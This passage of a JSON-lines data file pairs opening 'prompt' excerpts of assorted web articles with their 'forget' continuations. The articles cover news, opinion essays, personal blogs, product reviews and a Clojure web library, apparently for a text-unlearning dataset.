days. But the cost is not really the issue. The policy is one of the foundation stones of the surveillance state \u2013 a society in which data from people's movement, travel abroad, spending habits and communications are retained by government and its agencies \u2013 and is an indicator of the profound contempt and mistrust this government has for the public. It represents as great an intrusion as the national identity register, the central database planned with the ID card. \"These new proposals,\" says the industry submission, \"suggest an intention to capture anything and everything, regardless of the communications [method] used. We have grave misgivings about the technical feasibility of such ambition.\" \"We are not aware of any existing equipment [an internet company] could purchase that would enable it to fulfil a legal obligation to acquire and retain such a wide range of data as it transits across their network \u2026 in some common cases it would"}
{"prompt": "The task force formed to create a set of voluntary climate-risk disclosure recommendations has more than doubled the number of companies supporting its mission in the five months since it first published its findings. The Task Force on Climate-related Financial Disclosures (TCFD) now has 237 companies with a combined market capitalization of more than $6.3 trillion that have publicly committed to its goals, according to its head, Michael Bloomberg, the former New York mayor and entrepreneur. The TCFD was established by the group of global regulators known as the Financial Stability Board, chaired by Bank of England Gov. Mark Carney,", "forget": "and published its recommendations in June with the aim of encouraging companies to help investors understand the risks to their investments from temperature change, rising sea levels and natural disasters. The companies that have signed up include more than 150 financial firms with assets of more than $81.7 trillion, the TCFD said in a statement released at the One Planet Summit hosted by French President Emmanuel Macron. The summit marks the two-year anniversary of the Paris Climate agreement, which seeks to limit the global temperature rise to below 2 degrees Celsius by reducing greenhouse emissions. President Donald Trump has pledged to pull the U.S. from the Paris Agreement, dismaying climate activists but spurring a greater effort from the private sector to push through its goals without government help. Insurers have said anything higher than a 2 degree-temperature increase would make the world uninsurable. In case you missed it: U.S. health insurers are in a state of denial about climate change The companies span a broad range of industries and sectors, from construction to consumer goods, energy, metals and mining, as well as the full capital and investment chain, from companies that issue debt and equity to the largest credit rating agencies and stock exchanges. The list includes Bank of America Corp. BAC, +0.07% , BlackRock Inc. BLK, +0.36% , Citigroup Inc. C, -0.64% JPMorgan Chase & Co. JPM, -0.76% , Morgan Stanley MS, +0.52% and investors including the New York City Employees\u2019 Retirement System, among others. \u201cClimate change poses both economic risks and opportunities,\u201d said Bloomberg. \u201cBut right now, companies don\u2019t have the data they need to accurately measure the risks and evaluate the opportunities. That prevents them from taking protective measures and identifying sustainable investments that could have strong returns.\u201d Read now: In Trump era it\u2019s up to companies"}
{"prompt": "Share this... Reddit Linkedin email \u201cNo freeman may be taken or imprisoned or be disseized of his freehold or liberties, or his free customs, or be outlawed or exiled, or in any manner destroyed, but by the lawful judgement of his peers, or by the law of the land.\u201d These words were first written in the Coronation Charter, also called the Charter of Liberties, which was a proclamation by Henry I issued in 1100. In 1100! Just think about that for a moment. 915 years ago on this island, uniquely in the world, great men were laying the philosophical foundations", "forget": "of a special type of liberty and striving to restrain the power of their rulers. It marked the beginning of an historic struggle for the soul of England that took place over centuries while absolutism and tyranny was established unchallenged on the continent. When the struggle was won this great country of ours was the freest in the world. Freeborn Englishmen were envied and admired around the globe for the constitutional liberty they enjoyed and the spirit of freedom that thrived here like nowhere else. Sadly, that is all part of history now and we must fight this struggle once again. It is a sign of the times that a British Prime Minister, and a Conservative at that, can say something like this: \u201cFor too long, we have been a passively tolerant society, saying to our citizens \u2018as long as you obey the law, we will leave you alone\u2019\u201d Did our Prime Minister really think about what he was saying when he uttered these disgraceful words when addressing British citizens? It is astonishingly blinkered to not realise just how dangerous this kind of rhetoric is and what the wider implications are. The British people have been numbed to shockingly illiberal rhetoric such as this, it\u2019s just a continuation of the Blairite authoritarian mantra. It is the equivalent to when Blair said, let no one be in any doubt, the rules of the game are changing\u201d. Well, the rules are changing again and we are close to sweeping away every last vestige of British liberty. As long as you obey the law, we will leave you alone should be a slogan for the British state to forever abide by because it is a basic tenet of a free society. The Prime Minister should remember that he works for British citizens and"}
{"prompt": "While I am doing significantly better than I have been, I am not as confident and self assured as I really should be. My mood has improved, now I just need to convince myself that I am confident, able, and worthy. It\u2019s not an easy task. I feel like I am transparent to everyone else; that they can see that I am sick and unstable. I feel like I am a failure at work, and my career just continues to spiral downward. I am unlovable and destined to live the rest of my life without a significant other. I am", "forget": "Crazy. But that really isn\u2019t the truth. I may be suffering from a horrible disease, but I am not without value, ability, and able to enrich others\u2019 lives. So I tell myself over and over\u2026 \u201cI Am\u201d. Maybe if I keep repeating this I will be able to eventually believe it and build myself up to where I ought to be. I am smart. Bipolar people in general tend to have a higher than average intelligence, and I have to believe I am no exception. I chose not to go to college (Okay, that wasn\u2019t smart) but I have accomplished great things in spite of my lack of education. I have held jobs that require a post graduate degree. I have had MBA\u2019s and PhD\u2019s working for me. Most of my entire career has been in senior management; often at the top level. Being smart isn\u2019t limited to just work life either. I\u2019ve learned a great deal about my illness and how to successfully deal with it. I have a deep understanding of politics and society. My perspectives about so many things are valid and have merit. I am creative. From the way I find solutions to problems to being artistic and musical; I have creativity and skill. My problem solving abilities have had a large effect on my career; most jobs I\u2019ve held required out of the box thinking and flexibility. I\u2019ve been able to resolve whatever issue I\u2019ve faced. My photography has earned awards and respect. I play multiple musical instruments even though I can\u2019t read a note of music. I play entirely by ear. I have the way to communicate my thoughts and emotions through the written word. I\u2019ve received so many positive comments and feedback that I have to believe that there\u2019s at least some skill"}
{"prompt": "I believe it takes a lot of strength to have faith, but there is something that takes even more strength. I was raised in the Church of Jesus Christ of Latter-Day Saints. At the age of 8 years old I was baptized into the church and confirmed as a member. I wasn\u2019t the most obedient, but for the most part I did what was expected of me. But then, at the age of 15 I began to question the doctrines that I had been taught since before I could even speak. I believed, as the church taught, that if I", "forget": "did what I was supposed to it would all be clear to me. I though that this doubt was coming from the devil. I believed that because I was dating when I shouldn\u2019t have been, I let him into my life and allowed him to leave me astray. This doubt continued off and on for two years. After breaking up with my boyfriend, I was sure that I would gain clarity. I was doing what the Lord wanted me to do, he would bless me with the truth. But this never came. I began to google what I had been taught all my life was \u201canti-mormon\u201d but when I did so, I was plagued with guilt. I would read for five minutes, exit out and delete my browser history. I continued as if I hadn\u2019t read anything at all. I went to seminary, sacrament meeting, mutual, etc.. At this time in my life, guilt and confusion filled me. It wasn\u2019t until I left for school that I really started to look into what I had been taught my whole life. I visited mormonthink.com and /r/exmormon. I read the CES Letter. I stopped going to institute and Sunday meetings. I started to realize that what I grew up believing, was a con. The guilt and confusion I\u2019d been feeling for the past 3 years floated away. That left room for anger, sadness, and worry. Initially, I was furious. I was partially angry at myself for being fooled, but mostly at the LDS church for fooling me and millions of others. I was devastated, I wanted so much to hold on to the church and its teachings. I wanted my dream of being married in the temple, because what girl doesn\u2019t want to be married inside of a castle? At first, it"}
{"prompt": "FOXBOROUGH, Mass. \u2013 Jay Heaps was conflicted as he watched New England Revolution striker Jerry Bengtson score the game-winning goal on Wednesday afternoon, lifting Honduras to a 2-1 win over the United States as both countries kicked off the final round of World Cup Qualifying. Bengtson was quickest to react when teammate Boniek Garcia slid a pass across the box, poking the ball into an empty net and showing the predatory instincts the Revs hope to see upon his return to Foxborough. \u201cIt\u2019s a great goal from Jerry and you\u2019re very happy because he\u2019s your teammate and we\u2019re in the", "forget": "trenches with him,\u201d said Heaps. \u201cBut it\u2019s tough to see the U.S. go and have a performance and a result like that.\u201d Heaps\u2019 concern wasn\u2019t with the United States in the 85th minute, however, as he watched Bengtson get stretchered off the field \u2013 and replaced by a substitute \u2013 following an apparent injury. Luckily his apprehension quickly turned to relief as Bengtson confirmed he was fine during a postgame conversation with the Revs\u2019 staff. \u201cThere was a good moment of pause there because the feed I saw didn\u2019t show what happened on the injury,\u201d Heaps said. \u201cWhen you see a guy down, you don\u2019t know. But we spoke with him last night and everyone felt good.\u201d Bengtson is scheduled to arrive in New England on Thursday night and join the Revolution for his first preseason training session on Friday morning. Fitness shouldn\u2019t be an issue after spending the past three weeks with Honduras, so Bengtson can focus solely on settling back into his club side. \u201cI think now, from his standpoint, he has to compartmentalize,\u201d said Heaps. \u201cHe had a lot of work to do with the national team, he did that work, and now he joins us and we want to get him up to speed with our guys. It shows that Jerry has a knack for the goal and we have to get him the chances to score like his team in Honduras does.\u201d Nguyen likely to be cleared for participation in the Desert Diamond Cup Lee Nguyen was held out of the Revolution\u2019s first two preseason matches in Casa Grande as a precaution following shoulder surgery last September. Although he\u2019s been a full participant in training sessions, Nguyen has yet to be cleared for full contact and his teammates have been instructed to be cautious around"}
{"prompt": "Fact Buster Q: Does coffee make you dehydrated? A: If you drink coffee regularly and don't drink too much it shouldn't dehydrate you. Our expert: Dietitian Lisa Renn [Image source: Reuters | Mick Tsikas ] Have your say Have you found coffee can make you feel dehydrated? Conditions of Use Have you been told that you need to drink an extra glass of water for every cup of coffee or tea that you drink? For some time there has been a belief that drinking coffee and tea can make you dehydrated because the caffeine they contain has a diuretic effect.", "forget": "(A diuretic is a substance that causes your body to produce urine, and it has been suggested caffeine can do this because it increases blood flow through the kidneys.) But is there any evidence to show that your morning cuppa needs to be offset with a big glass of water? If you regularly enjoy a few cups of coffee or tea a day, then you can rest assured the moderate amount of caffeine they contain doesn't cause you to lose more fluid than you ingest, says Lisa Renn, accredited practising dietitian and spokesperson for the Dietitians Association of Australia. Nor will your cuppa be any more likely to send you off to the loo than any other drink. \"There is evidence that caffeine in higher amounts acts as a diuretic in some people, but moderate intake is actually not that significant,\" Renn says. A recent UK study of regular male coffee drinkers found no difference in hydration levels between those who drank four 200ml cups of coffee a day and those who drank the same amount of water. Researchers measured the men's urine output over a 24-hour period and other hydration markers in their blood, and concluded moderate coffee intake provides similar hydrating qualities to water. While the study focused on the intake of coffee, those who drink tea can also take heart from the results as it contains similar amounts of caffeine to coffee. It's worth noting, the study involved men who were regular coffee drinkers \u0096 and it's been suggested coffee may have more of a diuretic effect on those who do not habitually consume caffeine because they haven't developed a tolerance to caffeine. But so far the evidence on this point isn't completely clear. How caffeine affects hydration One of the reasons that drinks containing caffeine, such"}
{"prompt": "MINNEAPOLIS (WCCO) \u2013 A nationwide warrant has been issued for a Minnesota couple who allegedly received more than $167,000 worth of public assistance from Minnesota while living in Florida on a $1.2 million yacht. \u201cI\u2019ve never ridden on a yacht that nice, and I bet most of us haven\u2019t, but they were living on it while they were collecting public assistance,\u201d said Hennepin County Attorney Mike Freeman. Colin Chisholm III and Andrea Chisholm are charged with a one count of wrongfully obtaining public assistance more than $35,000, a felony charge. According to Hennepin County Attorney\u2019s office, between Jan. 1, 2005,", "forget": "and May 31, 2012, Colin Chisholm III, 62, and Andrea Chisholm, 54, received the public assistance illegally from several government programs designed to help the poor. According to the criminal complaints, over the years, the Chisholms received medical assistance, welfare payments and food stamp benefits. They also lied about where they were living, who they were living with and their source of income on more than a dozen forms they filled out for the state of Minnesota and Hennepin County in order to get the assistance. During an investigation by the Hennepin County Human Services & Public Health Department (HSPHD) Fraud Unit, it was discovered that Colin Chisholm owned a business and Andrea Chisholm owned a dog kennel which bred and sold championship dogs. The criminal complaints show that hundreds of thousands of dollars came through the business accounts Colin Chisholm III controlled as chief executive officer of the TCN Network, which claims to provide satellite TV and broadband service for countries in the Caribbean. \u201cHe created all sorts of false companies, claimed he was a Scottish heir,\u201d Freeman said. \u201cIt\u2019s outrageous.\u201d When they first applied for welfare benefits, the couple listed their residence as Andrea\u2019s mother\u2019s home in Minneapolis. However, shortly after getting approved, they moved to Florida. They remained in that state for at least 28 months, first on their $1.2 million yacht, and then moving to a house, officials said. They collected welfare from Florida, as well as Minnesota during that time, which people are prohibited from receiving simultaneously. Furthermore, in depositions for a civil suit over the ownership of the yacht, Colin and Andrea testified that they lived in Connecticut and Florida, and never mentioned Minnesota. During this time, neither the yacht or residences in Florida were reported to Minnesota officials. In 2006 and January 2007,"}
{"prompt": "Appearance and function match the final product, but is made with different manufacturing methods. Looks like the final product, but is not functional. Demonstrates the functionality of the final product, but looks different. A prototype is a preliminary model of something. Projects that offer physical products need to show backers documentation of a working prototype. This gallery features photos, videos, and other visual documentation that will give backers a sense of what\u2019s been accomplished so far and what\u2019s left to do. Though the development process can vary for each project, these are the stages we typically see: \u4e2d\u6587\u9801\u9762 | \u4e2d\u6587\u6559\u5b78", "forget": "| \u5206\u4eab\u7d66\u670b\u53cb We even had the privilege to make a custom SketchyNotebook for our favorite company, Dropbox. By Kai Ng, Concept Artist / LiK Studios By Kai Ng, Concept Artist / LiK Studios By Min Chi, CoMaker SketchyNotebook is designed to be a minimalist notebook. It has all the little details that make for a quality notebook, with the addition unique template designs stored in the expandable back pocket if you need them. Like most artists, when I have an idea I just want to quickly put it down on paper so I won't forget it. Sometimes I just want to doodle, sometimes I want to do mockups for websites, and other times I want to sketch up iPhone apps or just write down ideas. Sure, there are preprinted template notebooks out there with grids, dots and lines, but all the printed lines and grids distract me and make it difficult to get my idea down exactly as I envision it. Preprinted lines or templates on the page inhibit my freedom and my creativity, so I can't use those as an everyday notebook. Bottom line is this: I just love blank page paper but I also like having guidelines for structure. What if I can just take the qualities that I need from both worlds and get rid of everything else? 180\u00b0 Flat When Open Designed to open flat no matter what page you\u2019re on. Premium Paper A full 240 pages of 80 gsm acid-free blank paper. We have narrowed down from hundreds of different types of paper to bring you the best results. You can use ink pens, fountain pens, color markers, and permanent markers with no bleed through. Removable Pages Ready to share your sketches? You can tear off any page - perfect for pinning an idea on"}
{"prompt": "Law enforcement sources have identified the man who attempted a bombing at the Port Authority Bus Terminal subway station in New York City on Monday morning as 27-year-old Akayed Ullah. \u201cUllah is from Bangladesh and had been living in Brooklyn. He was injured when the device apparently went off prematurely and was rushed to Bellevue Hospital with non-life-threatening injuries. He suffered burns to his hands and other lacerations,\u201d reported CBS News in New York. According to Police Commissioner James O\u2019Neill, Ullah had two explosive devices, one of which was \u201caffixed to his body with velcro and zip ties.\u201d The New", "forget": "York Times quoted a \u201csenior city official\u201d who said police had to strip Ullah naked to remove the device affixed to his body. CBS described one of these devices as \u201ccrudely-made\u201d with \u201cwires protruding from it.\u201d The New York Post wrote of a \u201c5-inch metal pipe bomb and battery pack strapped to his midsection.\u201d \u201cInvestigators briefly spoke to the alleged bomber, who told them he made the explosive device at the electrical company where he works,\u201d according to the New York Post report. By all indications, Ullah was planning a mass-casualty attack, evidently hoping to detonate his bombs in a crowded area. One anti-terrorism officer quoted by the NY Post said he \u201ccould have killed a lot of people\u201d if one of his bombs had not detonated prematurely. There was a good deal of initial confusion about Ullah\u2019s status, with some early reports stating that he was killed or mortally wounded in the explosion, but later reports indicated his injuries were not life-threatening and mostly consisted of burns on his hands and abdomen. Photos released of the suspect in custody display no indication of severe injuries from a bomb blast: Several sources have described Ullah as \u201cISIS-inspired\u201d or acting in the name of the Islamic State, a claim most prominently made by former NYPD commissioner Bill Bratton in an MSNBC appearance on Monday morning. Rukmini Callimachi, a New York Times correspondent specializing in Islamic State news, noted that pro-ISIS channels on social media are celebrating him as an Islamic State jihadi: 2/ The suspect has been identified by police as a 27-year old of Bangladeshi descent with a last known address in Brooklyn. His name is Akayed Ullah. Already pro-ISIS channels are celebrating him as an \u201cistishadi\u201d attacker. pic.twitter.com/IkrO6kZm7E \u2014 Rukmini Callimachi (@rcallimachi) December 11, 2017 At the time of"}
{"prompt": "Sports, and particularly combat sports, have often offered the disabled a chance to compete and prove their perceived limitations are just that: imagined difficulties that ultimately do not affect performance. That assumes, however, those in power allowed all athletes an equal chance to compete on a proverbial level playing field. In the case of Nick Newell, the XFC lightweight champion missing a portion of his left arm after a congenital amputation as a child, argues while some in the MMA industry have given him a chance, many of the most important power players keep slamming the door in his face.", "forget": "And as he continues to get better, he's beginning to wonder aloud: how much longer is this going to continue? Newell is honest with himself. He knows his condition is rare and a subject of curiosity, even among the well-intended. Even people with an open mind take time to be influenced that he can do what sounds impossible. It's even part of his identity. \"No matter how much I accomplish in this sport, it's always going to be something that gets brought up. I've come to terms with that,\" he told Ariel Helwani Monday on The MMA Hour. \"People will always look at me as being the guy with one hand,\" he admitted. But just as quickly as he is to be candid about the reality behind how he's perceived, he is pivoting to the changing dynamic of going from a novelty to a respected, proven competitor. This change has been happening slowly, but took a big leap when he beat Eric Reynolds in December to capture the XFC lightweight crown. Reynolds, a fighter with a professional record of 16-6, has lost to Eddie Alvarez and Jorge Masvidal, but both fights went to the third round. Newell, by contrast, put Reynolds away in a mere minute and twenty-two seconds in the first round. \"I feel like people are starting to look at me more as a talented fighter. I'm not just a guy who fights with hand. I'm a very talented fighter that happens to have one hand,\" Newell argues. Still, as well as things are going in Florida with XFC, recent statements made by UFC President Dana White reminded Newell there are still hurdles to climb in overcoming the limitations others place on him. \"As much as I would like to be known and looked at for my fighting"}
{"prompt": "At the United Nations Security Council on April 5, U.S. Ambassador to the UN Nikki Haley held up pictures of children killed by a gas attack in Khan Shaykhun, south of the Syrian city of Idlib. Estimates suggest that about 50 to 60 people died in this attack. The United States, the United Kingdom and France placed a resolution before the Security Council condemning the attack and asking for an investigation of it. There is no call for armed action against anyone because the Council is divided on who perpetuated the act. Advertisement: Strikingly, Ambassador Haley then said, \"We don\u2019t", "forget": "yet know about yesterday\u2019s attack,\" meaning that nobody had definitive intelligence about the attack. Yet, there was a hasty dash to judgment in the West that the perpetuators were the government of Bashar al-Assad \u2014 perhaps with Russian assistance. How do we know what happened in Khan Shaykhun? The sources for the Western media outlets are mainly \"opposition activists,\" as BBC put it in one of its early reports. This BBC story from April 4 (Syria Conflict: \u2018Chemical attack\u2019 in Idlib kills 58) lists the various sources that it has relied upon: 1. The Syrian Observatory for Human Rights (SOHR). Founded in 2006, the SOHR is based in the United Kingdom and receives funding from the European Union and \u2014 most likely \u2014 the United Kingdom. It relies upon a network of opposition activists across Syria to provide raw information, which its director \u2014 Rami Abdul Rahman \u2014 then digests. The SOHR is openly anti-Assad. 2. Khotwa (Step) news agency. Founded by opposition activists in late 2013, the Khotwa \u2014 as they say \u2014 aims to \"bring the world\u2019s attention to the suffering of the Syrian people.\" Its 40 correspondents are mostly based in the rebel-held areas. In 2014, its director \u2014 Mohammad Hrith \u2014 was in the news in Turkey due to a fracas between Hrith and the Prime Minister of the Syrian Interim government Ahmed Touma. Touma\u2019s people suggested that Hrith came to demand funds from them. 3. Local Co-ordination Committee (LCC) of the town. The LCC is part of a network of local groups emerged to coordinate protests after 2011. They represent the politics of the area in which they are established. Their general tenor is anti-Assad. 4. Hussein Kayal, a photographer with the pro-opposition Edlib Media Center. Kayal and the Edlib Media Center are part of"}
{"prompt": "The Kindness Offensive (TKO) is a group based in London known for orchestrating large-scale random acts of kindness, involving the distribution of industrial quantities of goods to unsuspecting members of the public and charities. The group's stated purpose is to \"Practice random kindness and senseless acts of beauty\", a phrase first coined by Anne Herbert. History [ edit ] The Kindness Offensive was formed in August 2008, when three of the four founding members (David Goodfellow, Benny Crane and James Hunter) asked members of the public in Hampstead what \"random acts of kindness\" they would like done for them. They", "forget": "received many requests from the public, and the group attempted to meet some of them by contacting companies and persuading them to donate the required goods for free, a technique developed by fourth founding member Robert Williams[1] and referred to by the group as \"phone whispering\". TKO attracted press attention in October 2008 for giving away twenty-five tonnes of non-perishable foods to fourteen soup kitchens and drop-in centres across London England; the event came to be known as 'The Mountain of Food'.[2] This event was the first of many large-scale events centred on distributing industrial quantities of goods in short periods of time to a wide variety of locations and causes; the most notable of these were The Vinspired Kindness Offensive (2008),[3][4] The White Stuff Kindness Offensive,[5] which was widely reported as a record-breaking event (2010),[6] The Barclaycard Kindness Offensive (2011) the Hasbro Kindness Offensive (2013),[7] and the Read Free! Kindness Offensive.[8] The large scale 2014 XL Catlin Kindness Offensive event resulted in the events organiser and group co-founder David Goodfellow being awarded with a Points of Light, [9][10] award by the then UK Prime Minister David Cameron who ackoloeged that it generated \"...a record-breaking Christmas toy donation\".[11] As well as large giveaways, TKO has also staged a series of pop-up events, including The Everyday Kindness Awards in 2009. Over the course of a weekend, actors in public places pretended to need help, and when members of the public stepped up to offer a hand, they received a pop-up celebration rewarding their kindness with champagne, flowers and a gold medal.[12] The Kindness Offensive established their headquarters in Islington in 2013,[13] which includes a bookshop that offers 100,000's of books free of charge to the public.[14][15] and a community space who's grounds have been converted into a sensory garden for special"}
{"prompt": "Honeymoons don't last forever. But that doesn't mean the love affair has to end \u2014 and the love affair Canadians are having with Justin Trudeau's Liberals appears to be enduring in the polls. The Liberals continue to hold the new support they captured after their majority victory in last fall's federal election, when they pulled votes away from both the Conservatives and New Democrats. What do Canadians think of the leaders? Explore the latest numbers for the 5 major federal leaders in our new CBC Leader Meter. Justin Trudeau's own popularity also remains high, with approval ratings well above those", "forget": "of both of his main rivals, interim Conservative Leader Rona Ambrose and outgoing NDP Leader Tom Mulcair, as well as the ratings he posted before last year's vote. The CBC's new interactive tool, the Leader Meter, lets you track those numbers. Over the last three months of polling, the Liberals have averaged 46.7 per cent support. That's an increase of 7.2 points over their performance in the Oct. 19 election and nearly even (up 0.1 points) from their average support during the previous quarter of federal polling calculated three months ago. The Conservatives have averaged 29.1 per cent, also unchanged from where they were in the previous quarter but down 2.8 points from the last election. The New Democrats, after taking 19.7 per cent of the vote last fall, have averaged just 13.6 per cent support. That's down 6.1 points from the last election and one point from the previous quarter. The Greens have averaged 5.1 per cent support since March, while the Bloc Qu\u00e9b\u00e9cois has averaged 4.2 per cent. The Liberals' support has held relatively steady across the board \u2014 notable considering that their polling numbers between December 2015 and February 2016 had all the hallmarks of the normal political honeymoon of a new government. But the party has nevertheless seen further gains in some parts of the country, particularly in British Columbia. The party is up 10.3 points from the last election, leading in the province with 45.4 per cent support, and has gained 2.6 points over the last quarter alone. The Liberals' most significant increase since the last election remains in Quebec, where the party has gained 12.2 points since the last election and sits at 47.9 per cent. That level of support is largely unchanged from where they were in the previous quarter. In Ontario and"}
{"prompt": "Most of the technology inside the headset is common across all of the manufacturers, but ASUS has worked hard to make its offering unique where it can. For instance, the company used a polygonal-art covering for the visor, ensuring that it looks much nicer than, say, Acer's View Master-esque offering. Similarly, ASUS's headset feels much lighter than its rivals' models, and the company included an antimicrobial cushion inside. The headset, like its brothers, has inside-out tracking, which uses the two front-mounted cameras to track the controllers. That makes it significantly cheaper than Vive or Rift handsets, which require additional peripherals", "forget": "for tracking. Before testing, my concern was that the cheaper technology would compromise the accuracy and reliability of the controllers. That concern was misplaced, and the system actually works really rather well. The controllers themselves are designed by Microsoft and clearly sail close to the style laid down by Oculus for its Touch paddles. The biggest difference is a less gaming-focused button layout, with a touchpad, Windows key and thumb stick on the main platform. Your other fingers fall naturally around the other triggers that are situated on the slender hand sticks. They scream that they can be used for business just as naturally as play, as Microsoft is wont to do with its hardware design. On the outside ring, you'll find a halo of 32 small LEDs that the headset uses to pinpoint the position of the controllers in the air. But even when pulling my hands well beyond the visor's field of view, the tracking remained pretty reliable. One of the demo titles required me to pull weapons out from over my shoulder, and the tracking remained impeccable. The funny thing is that, personally, I was concerned that these headsets would attempt to please two masters and fail for both of them. After all, the inside-out tracking wouldn't be as accurate or reliable as more expensive alternatives, and its price was too high for a casual purchase. I'm happy to admit that I was wrong and that I'm actually pretty excited for this technology, especially now that it's compatible with Steam VR games. ASUS doesn't know when its hardware will make its debut beyond the end of this year or the start of the next. Although it would be lunacy if it missed the holiday season, given that this may be many people's first attempt at buying VR"}
{"prompt": "Please select your country: United States Argentina Australia Austria Belarus Belgium Brazil Brunei Bulgaria Canada Chile China Colombia Croatia Cyprus Czech Republic Czechoslovakia (1945-1992) Denmark East Germany (1949-1990) Estonia Finland France Georgia Germany Greece Hong Kong Hungary Iceland India Indonesia Ireland Israel Italy Japan Latvia Lithuania Luxembourg Macau Macedonia Malaysia Malta Mexico The Netherlands New Zealand North Korea Norway Philippines Poland Portugal Romania Russia Saudi Arabia Serbia Singapore Slovakia Slovenia South Korea Spain Sweden Switzerland Taiwan Thailand Turkey Ukraine United Arab Emirates United Kingdom Uruguay Vietnam U.S.S.R. (1922-1991) Yugoslavia (1945-1992) Africa \u00bb Cameroon Africa \u00bb South Africa Worldwide Other Not", "forget": "an American user? Description Screenshots Promo Images Alternate Titles \"X-Wing :\u05de\u05dc\u05d7\u05de\u05ea \u05d4\u05db\u05d5\u05db\u05d1\u05d9\u05dd\" -- Hebrew spelling \"Star Wars: X-Wing - Space Combat Simulator\" -- Tag-lined title \"Star Wars: X-Wing - Simulador de Combate Espacial\" -- Spanish tag-lined title Part of the Following Groups User Reviews Critic Reviews Forums Topic # Posts Last Post Manual/docs 3 Indra was here (20923) Jul 12, 2007 Trivia Cancelled Amiga port Christmas Death Star Installation Limited Edition References In the Tour of Duty I -Mission 1, You have to Identify 4 cargo containers and destroy them..The cargo containers are names Arreis, Nigiro, Ocrim and Esorp. You think LucasGames had something gunning for Sierra, Origin and MicroProse? In one of the later missions, you have to fly to a space-probe called BFG-9000. This is the Big Fucking Gun in the iD Software game DOOM. Awards Computer Gaming World October 1993 (Issue #111) \u2013 Simulation Game of the Year (together with World Circuit) November 1996 (15th anniversary issue) \u2013 #11 Hardest Computer Game Electronic Entertainment March 1994 \u2013 Editors' Choice Awards: Best Game Game Informer August 2001 (Issue #100) - #42 in the \"Top 100 Games of All Time\" poll GameStar (Germany) Issue 12/1999 - #19 in the \"100 Most Important PC Games of the Nineties\" ranking Origin Awards 1993 - Best Fantasy or Science Fiction Computer Game robotriot Star Wars: X-Wing (DOS) on Dec 05, 1999 (9071) added(DOS) on Dec 05, 1999 is a space combat simulation, the first in the Star Wars universe. From the cockpits of X-Wing, Y-Wing and A-Wing starfighters, players fight for the Rebel Alliance in their struggle against the evil Galactic Empire.Unlike earlier titles in the genre like Wing Commander employs a polygonal 3D engine: flat-shaded polygons are combined with bitmaps only for explosion effects.The game features a comprehensive training element. Before"}
{"prompt": "Control of Palestinian movement has been a feature of Israel's occupation of the Palestinian territory since its inception in 1967. However, over the last 14 years the draconian system of movement controls used by Israel in the occupied Palestinian territory has become increasingly institutionalized and restrictive. The permit system put in place in the early 1990s which requires that all Palestinians obtain military issued permits to move between the West Bank, Gaza, and East Jerusalem or to travel abroad is now complemented by a permanent system of roadblocks, gates, checkpoints, the Wall and other obstacles to movement in the West", "forget": "Bank (including East Jerusalem) and the Gaza blockade. Taken together all of these factors contribute to forced displacement, severely limit Palestinian access to basic resources including land and water and basic services including health care and education, and perpetuate a system of segregation and legal and structural inequality between Palestinians and Israelis. Understanding how Palestinian\u2019s freedom of movement is restricted is important to understanding the severe impact of Israel\u2019s occupation on average Palestinians. This paper provides background information on how Israel has restricted Palestinian movement and the impact that these restrictions have on Palestinians lives. When did Israel first begin restricting Palestinian movement? Control over Palestinian movement has been a feature of the conflict since 1948. Following the 1948 War Israel incorporated into its own laws the Defense (Emergency) Regulations imposed by the British Mandate Authorities in 1945.[i] These regulations were used to restrict the rights of Palestinians inside post 1948 Israel, most notably their freedom of movement which was controlled by permit requirements and curfews. In 1966 most of the restrictions imposed by Israel over Palestinian citizens of Israel under these regulations were lifted, but the regulations themselves remained in place. After the occupation of the West Bank and Gaza in 1967 the Defense (Emergency) Regulations were incorporated into the military laws used by Israel to administer the occupied Palestinian territory. From 1967 to 1972 the occupied Palestinian territory was declared a closed military area by the Israeli military and many freedoms including the freedom of movement by residents were severely limited. In 1972 the Israeli military issued a general exit order which allowed Palestinian to enter Israel from the West Bank and Gaza during daylight hours with few limitations. During this period Palestinians could also travel with relative freedom between the West Bank and Gaza. Some limits were"}
{"prompt": "Trading standards are investigating after a couple who stayed at a hotel claimed to have been \u201cfined\u201d \u00a3100 by a hotel which they described as a \u201crotten stinking hovel\u201d on TripAdvisor. Tony and Jan Jenkinson, from Whitehaven in Cumbria, posted a review on the website after staying at the Broadway Hotel in Blackpool. However, the couple later found that \u00a3100 charged to their credit card, which the BBC reported was the result of a hotel policy in the case of \u201cbad\u201d reviews. The manager of the hotel was not available for comment last night. The Jenkinsons, who were on the", "forget": "way to Oxford and had decided to stay overnight in Blackpool, were said to have been shown terms and conditions on their booking form, which stated: \u201cDespite the fact that repeat customers and couples love our hotel, your friends and family may not. For every bad review left on any website, the group organiser will be charged a maximum \u00a3100 per review.\u201d The review, posted on 30 August by Tony Jenkinson, said that the couple could not believe the state of their room, claiming that the hot tap and kettle wasn\u2019t working and that the front part of a chest of drawers fell off then they opened it. It added: \u201cThere were instructions on how to make a phone call, we would have had a job as there was no phone!! The wallpaper was peeling off the walls, the carpet was thin, dirty and stained. The bed was something else, it must have come out of the ark, the base was all scuffed and dirty and the springs in the mattress attacked you in the night.\u201d After describing the breakfast as a \u201cjoke\u201d, he concluded: \u201cThis place should be shut down, I don\u2019t know if they are ever inspected, but if so, I don\u2019t know how this place has passed!! If you are offered this place to stay for a fortnight for 10p, you are being robbed!! STAY AWAY!!!\u201d A description of the hotel on Booking.com described it as having \u201ccosy bedrooms\u201d which were traditionally decorated. On the LateRooms website, the hotel was said to be \u201cfamous for live entertainment and excellent cuisine.\u201d It added: \u201cWe are located on the edge of Blackpool\u2019s newly developed South beach Promenade. Perfectly situated for the Pleasure Beach, Sandcastle Water Park, the Grosvenor Casino and just a short walk away from the center of"}
{"prompt": "NOTE: this website was build using Miraj. The source code is available at: miraj-project/homepage . Many other simple examples with commented code are available at miraj-project/demos/hello-world Components can also be easily defined as one-off elements for use in a single page. Both page and components can be defined in the same project. Miraj also makes it very easy to define and share component libraries. Multiple components may be defined across multiple namespaces; a deflibrary macro then assembles any combination of components into a library namespace, which is independent of the defining namespaces. Miraj can automatically generate a demo page for", "forget": "previewing/testing components under development. Things get a little more complicated when you add web components. Miraj allows the programmer to define and use Polymer-based components in idiomatic Clojure, without having to worry about the directory structures, file names, and href values required to make the generated HTML, Javascript and CSS files work together. Providing Clojure functions for HTML elements is relatively trivial. Miraj also provides macros that make page and component definitions look similar to the deftype and defrecord constructions of Clojure. Clojurescript already eliminates the need to program in Javascript; Miraj does the same for HTML. (A genuine Clojure face for CSS programming remains a future project). Miraj eliminates mixed-language programming, allowing the programmer to define pages and components in Clojure. Miraj compiles this Clojure code into HTML, Javascript, and CSS. An HTML page is analogous to a Clojure program of one function, main. In 